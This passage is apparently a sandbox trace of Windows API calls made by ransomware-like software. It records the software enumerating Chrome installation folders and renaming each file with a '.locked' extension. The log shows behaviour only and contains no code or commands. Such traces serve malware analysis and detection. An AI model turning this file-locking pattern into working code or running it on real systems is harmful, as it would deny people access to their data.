MoveFileExW (lpExistingFileName="C:\\\\Program Files (x86)\\Google\\Chrome\\Application\\58.0.3029.110\\Locales\\es-419.pak" (normalized: "c:\\program files (x86)\\google\\chrome\\application\\58.0.3029.110\\locales\\es-419.pak"), lpNewFileName="C:\\\\Program Files (x86)\\Google\\Chrome\\Application\\58.0.3029.110\\Locales\\es-419.pak.locked" (normalized: "c:\\program files (x86)\\google\\chrome\\application\\58.0.3029.110\\locales\\es-419.pak.locked"), dwFlags=0x2) returned 1 [0100.278] MoveFileExW (lpExistingFileName="C:\\\\Program Files (x86)\\Google\\Chrome\\Application\\58.0.3029.110\\Locales\\es.pak" (normalized: "c:\\program files (x86)\\google\\chrome\\application\\58.0.3029.110\\locales\\es.pak"), lpNewFileName="C:\\\\Program Files (x86)\\Google\\Chrome\\Application\\58.0.3029.110\\Locales\\es.pak.locked" (normalized: "c:\\program files (x86)\\google\\chrome\\application\\58.0.3029.110\\locales\\es.pak.locked"), dwFlags=0x2) returned 1 [0100.665] MoveFileExW (lpExistingFileName="C:\\\\Program Files (x86)\\Google\\Chrome\\Application\\58.0.3029.110\\Locales\\et.pak" (normalized: "c:\\program files (x86)\\google\\chrome\\application\\58.0.3029.110\\locales\\et.pak"), lpNewFileName="C:\\\\Program Files (x86)\\Google\\Chrome\\Application\\58.0.3029.110\\Locales\\et.pak.locked" (normalized: "c:\\program files (x86)\\google\\chrome\\application\\58.0.3029.110\\locales\\et.pak.locked"), dwFlags=0x2) returned 1 [0101.315] MoveFileExW (lpExistingFileName="C:\\\\Program Files (x86)\\Google\\Chrome\\Application\\58.0.3029.110\\Locales\\fa.pak" (normalized: "c:\\program files (x86)\\google\\chrome\\application\\58.0.3029.110\\locales\\fa.pak"), lpNewFileName="C:\\\\Program Files (x86)\\Google\\Chrome\\Application\\58.0.3029.110\\Locales\\fa.pak.locked" (normalized: "c:\\program files (x86)\\google\\chrome\\application\\58.0.3029.110\\locales\\fa.pak.locked"), dwFlags=0x2) returned 1 [0101.672] MoveFileExW (lpExistingFileName="C:\\\\Program Files (x86)\\Google\\Chrome\\Application\\58.0.3029.110\\Locales\\fi.pak" (normalized: "c:\\program files (x86)\\google\\chrome\\application\\58.0.3029.110\\locales\\fi.pak"), lpNewFileName="C:\\\\Program Files (x86)\\Google\\Chrome\\Application\\58.0.3029.110\\Locales\\fi.pak.locked" (normalized: "c:\\program files (x86)\\google\\chrome\\application\\58.0.3029.110\\locales\\fi.pak.locked"), dwFlags=0x2) returned 1 [0102.026] MoveFileExW (lpExistingFileName="C:\\\\Program Files (x86)\\Google\\Chrome\\Application\\58.0.3029.110\\Locales\\fil.pak" (normalized: "c:\\program files (x86)\\google\\chrome\\application\\58.0.3029.110\\locales\\fil.pak"), lpNewFileName="C:\\\\Program Files (x86)\\Google\\Chrome\\Application\\58.0.3029.110\\Locales\\fil.pak.locked" (normalized: "c:\\program files (x86)\\google\\chrome\\application\\58.0.3029.110\\locales\\fil.pak.locked"), dwFlags=0x2) returned 1 [0102.394] MoveFileExW (lpExistingFileName="C:\\\\Program Files (x86)\\Google\\Chrome\\Application\\58.0.3029.110\\Locales\\fr.pak" (normalized: "c:\\program files (x86)\\google\\chrome\\application\\58.0.3029.110\\locales\\fr.pak"), lpNewFileName="C:\\\\Program Files (x86)\\Google\\Chrome\\Application\\58.0.3029.110\\Locales\\fr.pak.locked" (normalized: "c:\\program files (x86)\\google\\chrome\\application\\58.0.3029.110\\locales\\fr.pak.locked"), dwFlags=0x2) returned 1 [0103.050] MoveFileExW (lpExistingFileName="C:\\\\Program Files (x86)\\Google\\Chrome\\Application\\58.0.3029.110\\Locales\\gu.pak" (normalized: "c:\\program files (x86)\\google\\chrome\\application\\58.0.3029.110\\locales\\gu.pak"), lpNewFileName="C:\\\\Program Files (x86)\\Google\\Chrome\\Application\\58.0.3029.110\\Locales\\gu.pak.locked" (normalized: "c:\\program files (x86)\\google\\chrome\\application\\58.0.3029.110\\locales\\gu.pak.locked"), dwFlags=0x2) returned 1 [0103.446] MoveFileExW (lpExistingFileName="C:\\\\Program Files (x86)\\Google\\Chrome\\Application\\58.0.3029.110\\Locales\\he.pak" (normalized: "c:\\program files (x86)\\google\\chrome\\application\\58.0.3029.110\\locales\\he.pak"), lpNewFileName="C:\\\\Program Files (x86)\\Google\\Chrome\\Application\\58.0.3029.110\\Locales\\he.pak.locked" (normalized: "c:\\program files (x86)\\google\\chrome\\application\\58.0.3029.110\\locales\\he.pak.locked"), dwFlags=0x2) returned 1 [0103.960] MoveFileExW (lpExistingFileName="C:\\\\Program Files (x86)\\Google\\Chrome\\Application\\58.0.3029.110\\Locales\\hi.pak" (normalized: "c:\\program files (x86)\\google\\chrome\\application\\58.0.3029.110\\locales\\hi.pak"), lpNewFileName="C:\\\\Program Files (x86)\\Google\\Chrome\\Application\\58.0.3029.110\\Locales\\hi.pak.locked" (normalized: "c:\\program files (x86)\\google\\chrome\\application\\58.0.3029.110\\locales\\hi.pak.locked"), dwFlags=0x2) returned 1 [0104.280] MoveFileExW (lpExistingFileName="C:\\\\Program Files (x86)\\Google\\Chrome\\Application\\58.0.3029.110\\Locales\\hr.pak" (normalized: "c:\\program files (x86)\\google\\chrome\\application\\58.0.3029.110\\locales\\hr.pak"), lpNewFileName="C:\\\\Program Files (x86)\\Google\\Chrome\\Application\\58.0.3029.110\\Locales\\hr.pak.locked" (normalized: "c:\\program files (x86)\\google\\chrome\\application\\58.0.3029.110\\locales\\hr.pak.locked"), dwFlags=0x2) returned 1 [0104.651] MoveFileExW (lpExistingFileName="C:\\\\Program Files (x86)\\Google\\Chrome\\Application\\58.0.3029.110\\Locales\\hu.pak" (normalized: "c:\\program files (x86)\\google\\chrome\\application\\58.0.3029.110\\locales\\hu.pak"), lpNewFileName="C:\\\\Program Files (x86)\\Google\\Chrome\\Application\\58.0.3029.110\\Locales\\hu.pak.locked" (normalized: "c:\\program files (x86)\\google\\chrome\\application\\58.0.3029.110\\locales\\hu.pak.locked"), dwFlags=0x2) returned 1 [0105.055] MoveFileExW (lpExistingFileName="C:\\\\Program Files (x86)\\Google\\Chrome\\Application\\58.0.3029.110\\Locales\\id.pak" (normalized: "c:\\program files (x86)\\google\\chrome\\application\\58.0.3029.110\\locales\\id.pak"), lpNewFileName="C:\\\\Program Files (x86)\\Google\\Chrome\\Application\\58.0.3029.110\\Locales\\id.pak.locked" (normalized: "c:\\program files (x86)\\google\\chrome\\application\\58.0.3029.110\\locales\\id.pak.locked"), dwFlags=0x2) returned 1 [0105.381] MoveFileExW (lpExistingFileName="C:\\\\Program Files (x86)\\Google\\Chrome\\Application\\58.0.3029.110\\Locales\\it.pak" (normalized: "c:\\program files (x86)\\google\\chrome\\application\\58.0.3029.110\\locales\\it.pak"), lpNewFileName="C:\\\\Program Files (x86)\\Google\\Chrome\\Application\\58.0.3029.110\\Locales\\it.pak.locked" (normalized: "c:\\program files (x86)\\google\\chrome\\application\\58.0.3029.110\\locales\\it.pak.locked"), dwFlags=0x2) returned 1 [0105.897] MoveFileExW (lpExistingFileName="C:\\\\Program Files (x86)\\Google\\Chrome\\Application\\58.0.3029.110\\Locales\\ja.pak" (normalized: "c:\\program files (x86)\\google\\chrome\\application\\58.0.3029.110\\locales\\ja.pak"), lpNewFileName="C:\\\\Program Files (x86)\\Google\\Chrome\\Application\\58.0.3029.110\\Locales\\ja.pak.locked" (normalized: "c:\\program files (x86)\\google\\chrome\\application\\58.0.3029.110\\locales\\ja.pak.locked"), dwFlags=0x2) returned 1 [0106.399] MoveFileExW (lpExistingFileName="C:\\\\Program Files (x86)\\Google\\Chrome\\Application\\58.0.3029.110\\Locales\\kn.pak" (normalized: "c:\\program files (x86)\\google\\chrome\\application\\58.0.3029.110\\locales\\kn.pak"), lpNewFileName="C:\\\\Program Files (x86)\\Google\\Chrome\\Application\\58.0.3029.110\\Locales\\kn.pak.locked" (normalized: "c:\\program files (x86)\\google\\chrome\\application\\58.0.3029.110\\locales\\kn.pak.locked"), dwFlags=0x2) returned 1 [0106.756] MoveFileExW (lpExistingFileName="C:\\\\Program Files (x86)\\Google\\Chrome\\Application\\58.0.3029.110\\Locales\\ko.pak" (normalized: "c:\\program files (x86)\\google\\chrome\\application\\58.0.3029.110\\locales\\ko.pak"), lpNewFileName="C:\\\\Program Files (x86)\\Google\\Chrome\\Application\\58.0.3029.110\\Locales\\ko.pak.locked" (normalized: "c:\\program files (x86)\\google\\chrome\\application\\58.0.3029.110\\locales\\ko.pak.locked"), dwFlags=0x2) returned 1 [0107.126] MoveFileExW (lpExistingFileName="C:\\\\Program Files (x86)\\Google\\Chrome\\Application\\58.0.3029.110\\Locales\\lt.pak" (normalized: "c:\\program files (x86)\\google\\chrome\\application\\58.0.3029.110\\locales\\lt.pak"), lpNewFileName="C:\\\\Program Files (x86)\\Google\\Chrome\\Application\\58.0.3029.110\\Locales\\lt.pak.locked" (normalized: "c:\\program files (x86)\\google\\chrome\\application\\58.0.3029.110\\locales\\lt.pak.locked"), dwFlags=0x2) returned 1 [0107.474] MoveFileExW (lpExistingFileName="C:\\\\Program Files (x86)\\Google\\Chrome\\Application\\58.0.3029.110\\Locales\\lv.pak" (normalized: "c:\\program files (x86)\\google\\chrome\\application\\58.0.3029.110\\locales\\lv.pak"), lpNewFileName="C:\\\\Program Files (x86)\\Google\\Chrome\\Application\\58.0.3029.110\\Locales\\lv.pak.locked" (normalized: "c:\\program files (x86)\\google\\chrome\\application\\58.0.3029.110\\locales\\lv.pak.locked"), dwFlags=0x2) returned 1 [0108.022] MoveFileExW (lpExistingFileName="C:\\\\Program Files (x86)\\Google\\Chrome\\Application\\58.0.3029.110\\Locales\\ml.pak" (normalized: "c:\\program files (x86)\\google\\chrome\\application\\58.0.3029.110\\locales\\ml.pak"), lpNewFileName="C:\\\\Program Files (x86)\\Google\\Chrome\\Application\\58.0.3029.110\\Locales\\ml.pak.locked" (normalized: "c:\\program files (x86)\\google\\chrome\\application\\58.0.3029.110\\locales\\ml.pak.locked"), dwFlags=0x2) returned 1 [0108.547] MoveFileExW (lpExistingFileName="C:\\\\Program Files (x86)\\Google\\Chrome\\Application\\58.0.3029.110\\Locales\\mr.pak" (normalized: "c:\\program files (x86)\\google\\chrome\\application\\58.0.3029.110\\locales\\mr.pak"), lpNewFileName="C:\\\\Program Files (x86)\\Google\\Chrome\\Application\\58.0.3029.110\\Locales\\mr.pak.locked" (normalized: "c:\\program files (x86)\\google\\chrome\\application\\58.0.3029.110\\locales\\mr.pak.locked"), dwFlags=0x2) returned 1 [0108.891] MoveFileExW (lpExistingFileName="C:\\\\Program Files (x86)\\Google\\Chrome\\Application\\58.0.3029.110\\Locales\\ms.pak" (normalized: "c:\\program files (x86)\\google\\chrome\\application\\58.0.3029.110\\locales\\ms.pak"), lpNewFileName="C:\\\\Program Files (x86)\\Google\\Chrome\\Application\\58.0.3029.110\\Locales\\ms.pak.locked" (normalized: "c:\\program files (x86)\\google\\chrome\\application\\58.0.3029.110\\locales\\ms.pak.locked"), dwFlags=0x2) returned 1 [0109.221] MoveFileExW (lpExistingFileName="C:\\\\Program Files (x86)\\Google\\Chrome\\Application\\58.0.3029.110\\Locales\\nb.pak" (normalized: "c:\\program files (x86)\\google\\chrome\\application\\58.0.3029.110\\locales\\nb.pak"), lpNewFileName="C:\\\\Program Files (x86)\\Google\\Chrome\\Application\\58.0.3029.110\\Locales\\nb.pak.locked" (normalized: "c:\\program files (x86)\\google\\chrome\\application\\58.0.3029.110\\locales\\nb.pak.locked"), dwFlags=0x2) returned 1 [0109.571] MoveFileExW (lpExistingFileName="C:\\\\Program Files (x86)\\Google\\Chrome\\Application\\58.0.3029.110\\Locales\\nl.pak" (normalized: "c:\\program files (x86)\\google\\chrome\\application\\58.0.3029.110\\locales\\nl.pak"), lpNewFileName="C:\\\\Program Files (x86)\\Google\\Chrome\\Application\\58.0.3029.110\\Locales\\nl.pak.locked" (normalized: "c:\\program files (x86)\\google\\chrome\\application\\58.0.3029.110\\locales\\nl.pak.locked"), dwFlags=0x2) returned 1 [0109.911] MoveFileExW (lpExistingFileName="C:\\\\Program Files (x86)\\Google\\Chrome\\Application\\58.0.3029.110\\Locales\\pl.pak" (normalized: "c:\\program files (x86)\\google\\chrome\\application\\58.0.3029.110\\locales\\pl.pak"), lpNewFileName="C:\\\\Program Files (x86)\\Google\\Chrome\\Application\\58.0.3029.110\\Locales\\pl.pak.locked" (normalized: "c:\\program files (x86)\\google\\chrome\\application\\58.0.3029.110\\locales\\pl.pak.locked"), dwFlags=0x2) returned 1 [0110.250] MoveFileExW (lpExistingFileName="C:\\\\Program Files (x86)\\Google\\Chrome\\Application\\58.0.3029.110\\Locales\\pt-BR.pak" (normalized: "c:\\program files (x86)\\google\\chrome\\application\\58.0.3029.110\\locales\\pt-br.pak"), lpNewFileName="C:\\\\Program Files (x86)\\Google\\Chrome\\Application\\58.0.3029.110\\Locales\\pt-BR.pak.locked" (normalized: "c:\\program files (x86)\\google\\chrome\\application\\58.0.3029.110\\locales\\pt-br.pak.locked"), dwFlags=0x2) returned 1 [0110.678] MoveFileExW (lpExistingFileName="C:\\\\Program Files (x86)\\Google\\Chrome\\Application\\58.0.3029.110\\Locales\\pt-PT.pak" (normalized: "c:\\program files (x86)\\google\\chrome\\application\\58.0.3029.110\\locales\\pt-pt.pak"), lpNewFileName="C:\\\\Program Files (x86)\\Google\\Chrome\\Application\\58.0.3029.110\\Locales\\pt-PT.pak.locked" (normalized: "c:\\program files (x86)\\google\\chrome\\application\\58.0.3029.110\\locales\\pt-pt.pak.locked"), dwFlags=0x2) returned 1 [0111.081] MoveFileExW (lpExistingFileName="C:\\\\Program Files (x86)\\Google\\Chrome\\Application\\58.0.3029.110\\Locales\\ro.pak" (normalized: "c:\\program files (x86)\\google\\chrome\\application\\58.0.3029.110\\locales\\ro.pak"), lpNewFileName="C:\\\\Program Files (x86)\\Google\\Chrome\\Application\\58.0.3029.110\\Locales\\ro.pak.locked" (normalized: "c:\\program files (x86)\\google\\chrome\\application\\58.0.3029.110\\locales\\ro.pak.locked"), dwFlags=0x2) returned 1 [0111.591] MoveFileExW (lpExistingFileName="C:\\\\Program Files (x86)\\Google\\Chrome\\Application\\58.0.3029.110\\Locales\\ru.pak" (normalized: "c:\\program files (x86)\\google\\chrome\\application\\58.0.3029.110\\locales\\ru.pak"), lpNewFileName="C:\\\\Program Files (x86)\\Google\\Chrome\\Application\\58.0.3029.110\\Locales\\ru.pak.locked" (normalized: "c:\\program files (x86)\\google\\chrome\\application\\58.0.3029.110\\locales\\ru.pak.locked"), dwFlags=0x2) returned 1 [0111.949] MoveFileExW (lpExistingFileName="C:\\\\Program Files (x86)\\Google\\Chrome\\Application\\58.0.3029.110\\Locales\\sk.pak" (normalized: "c:\\program files (x86)\\google\\chrome\\application\\58.0.3029.110\\locales\\sk.pak"), lpNewFileName="C:\\\\Program Files (x86)\\Google\\Chrome\\Application\\58.0.3029.110\\Locales\\sk.pak.locked" (normalized: "c:\\program files (x86)\\google\\chrome\\application\\58.0.3029.110\\locales\\sk.pak.locked"), dwFlags=0x2) returned 1 [0112.269] MoveFileExW (lpExistingFileName="C:\\\\Program Files (x86)\\Google\\Chrome\\Application\\58.0.3029.110\\Locales\\sl.pak" (normalized: "c:\\program files (x86)\\google\\chrome\\application\\58.0.3029.110\\locales\\sl.pak"), lpNewFileName="C:\\\\Program Files (x86)\\Google\\Chrome\\Application\\58.0.3029.110\\Locales\\sl.pak.locked" (normalized: "c:\\program files (x86)\\google\\chrome\\application\\58.0.3029.110\\locales\\sl.pak.locked"), dwFlags=0x2) returned 1 [0112.823] MoveFileExW (lpExistingFileName="C:\\\\Program Files (x86)\\Google\\Chrome\\Application\\58.0.3029.110\\Locales\\sr.pak" (normalized: "c:\\program files (x86)\\google\\chrome\\application\\58.0.3029.110\\locales\\sr.pak"), lpNewFileName="C:\\\\Program Files (x86)\\Google\\Chrome\\Application\\58.0.3029.110\\Locales\\sr.pak.locked" (normalized: "c:\\program files (x86)\\google\\chrome\\application\\58.0.3029.110\\locales\\sr.pak.locked"), dwFlags=0x2) returned 1 [0113.171] MoveFileExW (lpExistingFileName="C:\\\\Program Files (x86)\\Google\\Chrome\\Application\\58.0.3029.110\\Locales\\sv.pak" (normalized: "c:\\program files (x86)\\google\\chrome\\application\\58.0.3029.110\\locales\\sv.pak"), lpNewFileName="C:\\\\Program Files (x86)\\Google\\Chrome\\Application\\58.0.3029.110\\Locales\\sv.pak.locked" (normalized: "c:\\program files (x86)\\google\\chrome\\application\\58.0.3029.110\\locales\\sv.pak.locked"), dwFlags=0x2) returned 1 [0113.458] MoveFileExW (lpExistingFileName="C:\\\\Program Files (x86)\\Google\\Chrome\\Application\\58.0.3029.110\\Locales\\sw.pak" (normalized: "c:\\program files (x86)\\google\\chrome\\application\\58.0.3029.110\\locales\\sw.pak"), lpNewFileName="C:\\\\Program Files (x86)\\Google\\Chrome\\Application\\58.0.3029.110\\Locales\\sw.pak.locked" (normalized: "c:\\program files (x86)\\google\\chrome\\application\\58.0.3029.110\\locales\\sw.pak.locked"), dwFlags=0x2) returned 1 [0113.999] MoveFileExW (lpExistingFileName="C:\\\\Program Files (x86)\\Google\\Chrome\\Application\\58.0.3029.110\\Locales\\ta.pak" (normalized: "c:\\program files (x86)\\google\\chrome\\application\\58.0.3029.110\\locales\\ta.pak"), lpNewFileName="C:\\\\Program Files (x86)\\Google\\Chrome\\Application\\58.0.3029.110\\Locales\\ta.pak.locked" (normalized: "c:\\program files (x86)\\google\\chrome\\application\\58.0.3029.110\\locales\\ta.pak.locked"), dwFlags=0x2) returned 1 [0114.640] MoveFileExW (lpExistingFileName="C:\\\\Program Files (x86)\\Google\\Chrome\\Application\\58.0.3029.110\\Locales\\te.pak" (normalized: "c:\\program files (x86)\\google\\chrome\\application\\58.0.3029.110\\locales\\te.pak"), lpNewFileName="C:\\\\Program Files (x86)\\Google\\Chrome\\Application\\58.0.3029.110\\Locales\\te.pak.locked" (normalized: "c:\\program files (x86)\\google\\chrome\\application\\58.0.3029.110\\locales\\te.pak.locked"), dwFlags=0x2) returned 1 [0115.216] MoveFileExW (lpExistingFileName="C:\\\\Program Files (x86)\\Google\\Chrome\\Application\\58.0.3029.110\\Locales\\th.pak" (normalized: "c:\\program files (x86)\\google\\chrome\\application\\58.0.3029.110\\locales\\th.pak"), lpNewFileName="C:\\\\Program Files (x86)\\Google\\Chrome\\Application\\58.0.3029.110\\Locales\\th.pak.locked" (normalized: "c:\\program files (x86)\\google\\chrome\\application\\58.0.3029.110\\locales\\th.pak.locked"), dwFlags=0x2) returned 1 [0115.714] MoveFileExW (lpExistingFileName="C:\\\\Program Files (x86)\\Google\\Chrome\\Application\\58.0.3029.110\\Locales\\tr.pak" (normalized: "c:\\program files (x86)\\google\\chrome\\application\\58.0.3029.110\\locales\\tr.pak"), lpNewFileName="C:\\\\Program Files (x86)\\Google\\Chrome\\Application\\58.0.3029.110\\Locales\\tr.pak.locked" (normalized: "c:\\program files (x86)\\google\\chrome\\application\\58.0.3029.110\\locales\\tr.pak.locked"), dwFlags=0x2) returned 1 [0116.236] MoveFileExW (lpExistingFileName="C:\\\\Program Files (x86)\\Google\\Chrome\\Application\\58.0.3029.110\\Locales\\uk.pak" (normalized: "c:\\program files (x86)\\google\\chrome\\application\\58.0.3029.110\\locales\\uk.pak"), lpNewFileName="C:\\\\Program Files (x86)\\Google\\Chrome\\Application\\58.0.3029.110\\Locales\\uk.pak.locked" (normalized: "c:\\program files (x86)\\google\\chrome\\application\\58.0.3029.110\\locales\\uk.pak.locked"), dwFlags=0x2) returned 1 [0116.631] MoveFileExW (lpExistingFileName="C:\\\\Program Files (x86)\\Google\\Chrome\\Application\\58.0.3029.110\\Locales\\vi.pak" (normalized: "c:\\program files (x86)\\google\\chrome\\application\\58.0.3029.110\\locales\\vi.pak"), lpNewFileName="C:\\\\Program Files (x86)\\Google\\Chrome\\Application\\58.0.3029.110\\Locales\\vi.pak.locked" (normalized: "c:\\program files (x86)\\google\\chrome\\application\\58.0.3029.110\\locales\\vi.pak.locked"), dwFlags=0x2) returned 1 [0116.946] MoveFileExW (lpExistingFileName="C:\\\\Program Files (x86)\\Google\\Chrome\\Application\\58.0.3029.110\\Locales\\zh-CN.pak" (normalized: "c:\\program files (x86)\\google\\chrome\\application\\58.0.3029.110\\locales\\zh-cn.pak"), lpNewFileName="C:\\\\Program Files (x86)\\Google\\Chrome\\Application\\58.0.3029.110\\Locales\\zh-CN.pak.locked" (normalized: "c:\\program files (x86)\\google\\chrome\\application\\58.0.3029.110\\locales\\zh-cn.pak.locked"), dwFlags=0x2) returned 1 [0117.221] MoveFileExW (lpExistingFileName="C:\\\\Program Files (x86)\\Google\\Chrome\\Application\\58.0.3029.110\\Locales\\zh-TW.pak" (normalized: "c:\\program files (x86)\\google\\chrome\\application\\58.0.3029.110\\locales\\zh-tw.pak"), lpNewFileName="C:\\\\Program Files (x86)\\Google\\Chrome\\Application\\58.0.3029.110\\Locales\\zh-TW.pak.locked" (normalized: "c:\\program files (x86)\\google\\chrome\\application\\58.0.3029.110\\locales\\zh-tw.pak.locked"), dwFlags=0x2) returned 1 [0117.486] MoveFileExW (lpExistingFileName="C:\\\\Program Files (x86)\\Google\\Chrome\\Application\\58.0.3029.110\\natives_blob.bin" (normalized: "c:\\program files (x86)\\google\\chrome\\application\\58.0.3029.110\\natives_blob.bin"), lpNewFileName="C:\\\\Program Files (x86)\\Google\\Chrome\\Application\\58.0.3029.110\\natives_blob.bin.locked" (normalized: "c:\\program files (x86)\\google\\chrome\\application\\58.0.3029.110\\natives_blob.bin.locked"), dwFlags=0x2) returned 1 [0118.006] MoveFileExW (lpExistingFileName="C:\\\\Program Files (x86)\\Google\\Chrome\\Application\\58.0.3029.110\\resources.pak" (normalized: "c:\\program files (x86)\\google\\chrome\\application\\58.0.3029.110\\resources.pak"), lpNewFileName="C:\\\\Program Files (x86)\\Google\\Chrome\\Application\\58.0.3029.110\\resources.pak.locked" (normalized: "c:\\program files (x86)\\google\\chrome\\application\\58.0.3029.110\\resources.pak.locked"), dwFlags=0x2) returned 1 [0118.505] MoveFileExW (lpExistingFileName="C:\\\\Program Files (x86)\\Google\\Chrome\\Application\\58.0.3029.110\\snapshot_blob.bin" (normalized: "c:\\program files (x86)\\google\\chrome\\application\\58.0.3029.110\\snapshot_blob.bin"), lpNewFileName="C:\\\\Program Files (x86)\\Google\\Chrome\\Application\\58.0.3029.110\\snapshot_blob.bin.locked" (normalized: "c:\\program files (x86)\\google\\chrome\\application\\58.0.3029.110\\snapshot_blob.bin.locked"), dwFlags=0x2) returned 1 [0118.553] FindFirstFileA (in: lpFileName="C:\\\\Program Files (x86)\\Google\\Chrome\\Application\\58.0.3029.110\\VisualElements\\*", lpFindFileData=0x42b320 | out: lpFindFileData=0x42b320*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7d78b680, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0xe99e4ec0, ftLastAccessTime.dwHighDateTime=0x1d55451, ftLastWriteTime.dwLowDateTime=0xe99e4ec0, ftLastWriteTime.dwHighDateTime=0x1d55451, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x201, dwReserved1=0x42b108, cFileName=".", cAlternateFileName="")) returned 0x825950 [0118.574] MoveFileExW (lpExistingFileName="C:\\\\Program Files (x86)\\Google\\Chrome\\Application\\58.0.3029.110\\VisualElements\\logo.png" (normalized: "c:\\program files (x86)\\google\\chrome\\application\\58.0.3029.110\\visualelements\\logo.png"), lpNewFileName="C:\\\\Program Files (x86)\\Google\\Chrome\\Application\\58.0.3029.110\\VisualElements\\logo.png.locked" (normalized: "c:\\program files (x86)\\google\\chrome\\application\\58.0.3029.110\\visualelements\\logo.png.locked"), dwFlags=0x2) returned 1 [0118.598] MoveFileExW (lpExistingFileName="C:\\\\Program Files (x86)\\Google\\Chrome\\Application\\58.0.3029.110\\VisualElements\\logocanary.png" (normalized: "c:\\program files (x86)\\google\\chrome\\application\\58.0.3029.110\\visualelements\\logocanary.png"), lpNewFileName="C:\\\\Program Files (x86)\\Google\\Chrome\\Application\\58.0.3029.110\\VisualElements\\logocanary.png.locked" (normalized: "c:\\program files (x86)\\google\\chrome\\application\\58.0.3029.110\\visualelements\\logocanary.png.locked"), dwFlags=0x2) returned 1 [0118.609] MoveFileExW (lpExistingFileName="C:\\\\Program Files (x86)\\Google\\Chrome\\Application\\58.0.3029.110\\VisualElements\\smalllogo.png" (normalized: "c:\\program files (x86)\\google\\chrome\\application\\58.0.3029.110\\visualelements\\smalllogo.png"), lpNewFileName="C:\\\\Program Files (x86)\\Google\\Chrome\\Application\\58.0.3029.110\\VisualElements\\smalllogo.png.locked" (normalized: "c:\\program files (x86)\\google\\chrome\\application\\58.0.3029.110\\visualelements\\smalllogo.png.locked"), dwFlags=0x2) returned 1 [0118.619] MoveFileExW (lpExistingFileName="C:\\\\Program Files (x86)\\Google\\Chrome\\Application\\58.0.3029.110\\VisualElements\\smalllogocanary.png" (normalized: "c:\\program files (x86)\\google\\chrome\\application\\58.0.3029.110\\visualelements\\smalllogocanary.png"), lpNewFileName="C:\\\\Program Files (x86)\\Google\\Chrome\\Application\\58.0.3029.110\\VisualElements\\smalllogocanary.png.locked" (normalized: "c:\\program files (x86)\\google\\chrome\\application\\58.0.3029.110\\visualelements\\smalllogocanary.png.locked"), dwFlags=0x2) returned 1 [0118.623] FindFirstFileA (in: lpFileName="C:\\\\Program Files (x86)\\Google\\Chrome\\Application\\58.0.3029.110\\WidevineCdm\\*", lpFindFileData=0x42b320 | out: lpFindFileData=0x42b320*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7d78b680, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0xe9b159c0, ftLastAccessTime.dwHighDateTime=0x1d55451, ftLastWriteTime.dwLowDateTime=0xe9b159c0, ftLastWriteTime.dwHighDateTime=0x1d55451, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x201, dwReserved1=0x42b108, cFileName=".", cAlternateFileName="")) returned 0x825950 [0118.625] GetFileType (hFile=0xa0) returned 0x1 [0118.626] FindFirstFileA (in: lpFileName="C:\\\\Program Files (x86)\\Google\\Chrome\\Application\\58.0.3029.110\\WidevineCdm\\_platform_specific\\*", lpFindFileData=0x42a9b8 | out: lpFindFileData=0x42a9b8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7d78b680, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0xe9b159c0, ftLastAccessTime.dwHighDateTime=0x1d55451, ftLastWriteTime.dwLowDateTime=0xe9b159c0, ftLastWriteTime.dwHighDateTime=0x1d55451, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x4f4, dwReserved1=0x42a7a0, cFileName=".", cAlternateFileName="")) returned 0x825990 [0118.637] FindFirstFileA (in: lpFileName="C:\\\\Program Files (x86)\\Google\\Chrome\\Application\\58.0.3029.110\\WidevineCdm\\_platform_specific\\win_x64\\*", lpFindFileData=0x42a050 | out: lpFindFileData=0x42a050*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7d78b680, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0xe9b159c0, ftLastAccessTime.dwHighDateTime=0x1d55451, ftLastWriteTime.dwLowDateTime=0xe9b159c0, ftLastWriteTime.dwHighDateTime=0x1d55451, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x1a, dwReserved1=0x429e38, cFileName=".", cAlternateFileName="")) returned 0x8259d0 [0118.639] MoveFileExW (lpExistingFileName="C:\\\\Program Files (x86)\\Google\\Chrome\\Application\\chrome.VisualElementsManifest.xml" (normalized: "c:\\program files (x86)\\google\\chrome\\application\\chrome.visualelementsmanifest.xml"), lpNewFileName="C:\\\\Program Files (x86)\\Google\\Chrome\\Application\\chrome.VisualElementsManifest.xml.locked" (normalized: "c:\\program files (x86)\\google\\chrome\\application\\chrome.visualelementsmanifest.xml.locked"), dwFlags=0x2) returned 1 [0118.640] GetFileType (hFile=0xc4) returned 0x1 [0118.641] FindFirstFileA (in: lpFileName="C:\\\\Program Files (x86)\\Google\\Chrome\\Application\\SetupMetrics\\*", lpFindFileData=0x42bc88 | out: lpFindFileData=0x42bc88*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7ded59e0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0xe9b3bb20, ftLastAccessTime.dwHighDateTime=0x1d55451, ftLastWriteTime.dwLowDateTime=0xe9b3bb20, ftLastWriteTime.dwHighDateTime=0x1d55451, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x402, dwReserved1=0x42ba70, cFileName=".", cAlternateFileName="")) returned 0x825910 [0118.642] GetFileType (hFile=0x120) returned 0x1 [0118.643] FindFirstFileA (in: lpFileName="C:\\\\Program Files (x86)\\Google\\CrashReports\\*", lpFindFileData=0x42cf58 | out: lpFindFileData=0x42cf58*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x6c82ea80, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0xe9b3bb20, ftLastAccessTime.dwHighDateTime=0x1d55451, ftLastWriteTime.dwLowDateTime=0xe9b3bb20, ftLastWriteTime.dwHighDateTime=0x1d55451, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x402, dwReserved1=0x42cd40, cFileName=".", cAlternateFileName="")) returned 0x825890 [0118.644] FindFirstFileA (in: 